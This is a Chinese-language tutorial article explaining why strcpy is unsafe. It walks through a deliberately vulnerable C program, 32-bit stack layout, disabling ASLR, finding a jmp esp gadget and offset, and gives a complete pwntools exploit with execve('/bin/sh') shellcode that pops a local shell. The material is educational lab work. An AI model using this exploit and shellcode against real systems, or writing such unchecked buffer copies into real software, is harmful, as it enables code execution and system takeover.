溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

strcpy為何不安全

發(fā)布時間:2021-12-04 10:51:22 來源:億速云 閱讀:639 作者:柒染 欄目:網(wǎng)絡安全

本篇文章給大家分享的是有關strcpy為何不安全,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

引言

在剛剛開始學校C語言的時候,很多人都用過strcpy這個函數(shù)。簡單說是一個內存復制的函數(shù)。這個函數(shù)確實非常方便,但是這個函數(shù)是非常不安全,由與這個函數(shù)而產生的緩沖區(qū)溢出漏洞在很多文章中都有所介紹。我們應該摒棄strcpy的使用,而是用strncpy進行代替。

原型聲明:char *strcpy(char* dest, const char *src);

頭文件:#include <string.h> 和 #include <stdio.h>

功能:把從src地址開始且含有NULL結束符的字符串復制到以dest開始的地址空間

說明:src和dest所指內存區(qū)域不可以重疊且dest必須有足夠的空間來容納src的字符串。

既然這個函數(shù)能造成緩沖區(qū)溢出漏洞,那么這個漏洞究竟是什么樣子的那,怎么利用這個漏洞那。很多文章對這個卻搞的諱莫如深,讓人一頭霧水。要弄懂這個,我們先了解下Linux下32為程序函數(shù)調用約定。

函數(shù)調用約定(32位)

以下是一個簡單的C程序stackOf.c,后續(xù)的內容也是圍繞這這個程序展開的。

#include<stdio.h>

#include <unistd.h>

#include <string.h>

void  vul(char * msg){

   char buffer[64] ;

   strcpy(buffer,msg);

   return ;

}

int main(){

   puts("please give me your shellcode:");

   char shellcode[256];

   memset(shellcode,0,256);

   read(0,shellcode,256);

   vul(shellcode);

   return 0;

}

這個程序的功能很簡單,就是將輸入的內容復制到buffer中。不過這里有一個問題,buffer只有64個字節(jié),而輸入?yún)s可以是256個字節(jié),這會引發(fā)什么問題那?下面部分再說。這里我們來看在執(zhí)行 vul(shellcode);的時候,對應的匯編代碼是什么樣子的那,以及進入vul函數(shù)和退出vul函數(shù)的時候,堆棧的變化情況。函數(shù)調用主要有兩個點需要關注:(1)參數(shù)的出入方式(2)堆棧的平衡

strcpy為何不安全

這個例子中只有一個參數(shù),可以看出先進行push eax操作,在執(zhí)行call sym.vul。也就是先將參數(shù)入棧,再進行調用操作。

CALL指令(“調用”指令)的功能,就是以下兩點:

  1. 將下一條指令的所在地址(即當時程序計數(shù)器PC的內容)入棧,

  2. 并將子程序的起始地址送入PC(于是CPU的下一條指令就會轉去執(zhí)行子程序)

流程如下圖所示:strcpy為何不安全在看下vul的匯編代碼:strcpy為何不安全首先將老的ebp入棧,為何需要這一步,為了方便?;厮?。至于?;厮莸膯栴},后續(xù)會單獨來說。重點來說一下leave和ret指令:

CPU執(zhí)行ret指令時,進行下面的兩步操作:(IP) = ((ss)*16 +(sp))(返回地址)(esp) = (esp)+2(32為是+4)

leave指令的作用: 在32位匯編下相當于:mov esp,ebp;//將ebp指向(ebp內部應當保存一個地址,所謂指向即這個地址對應的空間)的值賦給esppop ebp

程序編譯運行

編譯stackOf.c

gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c

運行結果如下:strcpy為何不安全最好加一條命令關閉系統(tǒng)的的地址隨機化

sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

如果是root用戶,可以使用:

echo 0 > /proc/sys/kernel/randomize_va_space

查資料結論是sudo命令不支持重定向。

攻擊的思路

這里來說說一下buffer只有64個字節(jié),而輸入?yún)s可以是256個字節(jié),這會引發(fā)的問題。當用戶輸入過長時,會向高地址覆蓋。strcpy為何不安全如果將返回地址覆蓋為:strcpy為何不安全就是將返回地址覆蓋為jum esp的地址,這樣當函數(shù)返回的時候,eip指向的就是jmp esp的地址strcpy為何不安全我們精心設計的buffer= 填充字符 + jmp_esp地址 +shellcode

填充數(shù)據(jù)

那么數(shù)據(jù)是怎么計算出來的那。用r2進行調試(gdb也可以),在strcpy出下斷點,運行:strcpy為何不安全通過分析vul的匯編代碼,可知在strcpy調用前將ebx(0xffa97850)入棧,而這就是buffer的起始地址,ebp的地址是0xffa97898,兩者相見是0x48 = 64+8 = 72, 別忘了還有ebp在進入函數(shù)的時候也入棧了,所以還需要加上4個字節(jié),也就是76個字節(jié)。

jum esp地址

通過ldd命令可查看libc.so的加載地址strcpy為何不安全UTF-8這個需要加上,能夠避免中文亂碼。

#-*- coding: UTF-8 -*-

from pwn import *

p = process('./pwnme')                    #運行程序

p.recvuntil("shellcode:")                 #當接受到字符串'shellcode:'

#找jmp_esp_addr_offset

libc = ELF('/lib32/libc.so.6')              

jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:

   print 'Cannot find jmp_esp in libc'

else:

   print hex(jmp_esp_addr_offset)

libc_base = 0xf7de0000                              #你找到的libc加載地址

jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base,結合圖解一下strcpy為何不安全

編寫shellcode

shellcode如下所示:

'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

完整攻擊代碼

#-*- coding: UTF-8 -*-

from pwn import *

p = process('./pwnme')                    #運行程序

p.recvuntil("shellcode:")                 #當接受到字符串'shellcode:'

#找jmp_esp_addr_offset

libc = ELF('/lib32/libc.so.6')              

jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:

   print 'Cannot find jmp_esp in libc'

else:

   print hex(jmp_esp_addr_offset)

libc_base = 0xf7de0000                              #你找到的libc加載地址

jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

#構造布局

buf = 'A'*76                                                    

buf += p32(jmp_esp_addr)

buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:

   f.write(buf)

p.sendline(buf)                                                #發(fā)送構造后的buf

p.interactive()

攻擊效果

從圖中可以看出我們居然獲得了shell,那刪除文件、瀏覽文件、復制文件等等很多操作都可以隨心所欲。strcpy為何不安全

以上就是strcpy為何不安全,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。

AI